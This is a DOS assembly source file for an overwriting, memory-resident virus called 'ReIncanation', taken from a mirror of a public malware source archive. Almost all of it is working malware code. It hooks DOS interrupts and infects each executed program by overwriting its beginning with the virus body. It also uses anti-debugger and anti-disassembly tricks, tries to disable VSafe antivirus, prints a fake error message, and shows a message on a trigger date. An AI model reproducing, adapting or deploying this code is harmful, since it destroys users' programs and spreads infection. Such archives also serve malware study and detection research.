mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
148 lines
5.8 KiB
NASM
148 lines
5.8 KiB
NASM
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start:
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and al,21h
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;anti_disassembler & anti_debugger
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mov cx,09ebh
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mov ax,0fe05h
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jmp $-2
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add ah,03bh
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jmp $-10
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;anti_debugger
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mov ax,3503h ;save int 3h in bx
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int 21h ;do it
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mov ah,25h ;set new int 3h...
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mov dx,offset new_int_3 ;...to new_int_3
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int 21h ;do it
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xchg bx,dx ;exchange bx,dx (restore original int 3h)
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int 21h ;do it
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;anti_vsafe
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mov ax,0f9f2h
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add ax,10h
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mov dx,5935h
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add dx,10h
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mov bl,10h
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sub bl,10h
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int 16h
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mov ah,9h ;write string
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mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden.
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int 21h ;do it
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mov ax,9999h ;put 9999h in ax (for resident test)
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int 21h ;do it
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cmp bx,9999h ;compare bx,9999h
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je already_there ;if bx=9999h, we are already resident and goto already_there
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jmp makemegotsr ;else goto makemegotsr
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already_there: ;already resident
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int 20h ;exit
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makemegotsr:
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mov ax,3521h ; get int 21h
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int 21h ;do it
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mov word ptr cs:old21,bx ; save old int 21h
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mov word ptr cs:old21+2,es ;... save
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mov dx,offset new21 ; new int 21 comes to offset new21
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mov ax,2521h ; set new int 21h
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int 21h ; do it
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push cs ; push it
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pop ds ; pop it
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mov dx,offset endvir ; put everything of us in memory
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int 27h ; do it
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new21: pushf ;new int 21
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cmp ax,9999h ;resident test ???
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jnz no_installation_check ;if no test goto no_install_check
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xchg ax,bx ;if resident test, put 9999h in bx
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no_installation_check: ;no_install_check
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cmp ax,4b00h ;is there something executed?
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jz infect ;yes, goto infect
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jmp short end21 ;no, jmp to normal old int 21h
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infect: ;infect the executed file
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mov ax,4301h ;set attributes
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xor cx,cx ;to 0
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int 21h ;do it
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mov ax,3d02h ;open file
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int 21h ;do it
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mov bx,ax ;put ax in bx, or.. xchg ax,bx.. but that doesn't work here
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push ax ;push all
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push bx
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push cx
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push dx
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push ds
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push cs
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pop ds
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mov ax,4200h ;seek
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xor cx,cx ;at beginning of tha file
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cwd
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int 21h ;do it
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mov cx,offset endvir-offset start ;how much bytes to write
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mov ah,40h ;write
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mov dx,offset start ;from offset start
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int 21h ;do it
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cwd ; set date/time
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xor cx,cx ; to zero
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mov ax,5701h ;function for date/time
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int 21h ;do it
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mov ah,3eh ; close file
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int 21h ;do it
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mov ah,2ah ;get date
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int 21h ;do it
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cmp dh,4 ;compare month(dh) with 4
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jne not_my_birthday ;not the 4th month, goto not_my_birthday
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monat_ok:cmp dl,21 ;else compare day(dl) with 21
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jne not_my_birthday ;not the 21th, goto not_my_birthday
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tag_ok:mov ah,9h ;if it is the 21.April write message
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mov dx,offset text ;of offset text
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int 21h ;do it
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mov ah,00h ;wait until keypressed
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int 16h ;do it
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jmp restore ;goto restore (tha registers)
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not_my_birthday: ;if it is not_my_birthday
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mov ah,9h ;write message
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mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden. (English: Bad command or filename.)
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int 21h ;do it
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restore:
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pop ds ; pop all
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pop dx
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pop cx
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pop bx
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pop ax
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end21: popf ; pop far
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db 0eah ; jmp far (?)
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old21 dw 0,0 ; where to store the old INT21
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text: db'ReIncanation written by Spooky. Austria 1996',0dh,0ah,'$' ;message for debugger or date 21.April
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file_not_found: db'Befehl oder Dateiname nicht gefunden.',0dh,0ah,'$' ;message file not found
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new_int_3: ;new interrupt 3h for the debugger
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mov ah,9h ;write string to standard output
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mov dx,offset text ;text to write
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int 21h ;do it
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mov ah,00h ;wait until keypressed
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int 16h ;do it
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int 20h ;-> terminate debugging
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endvir label byte ; End of file
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end start
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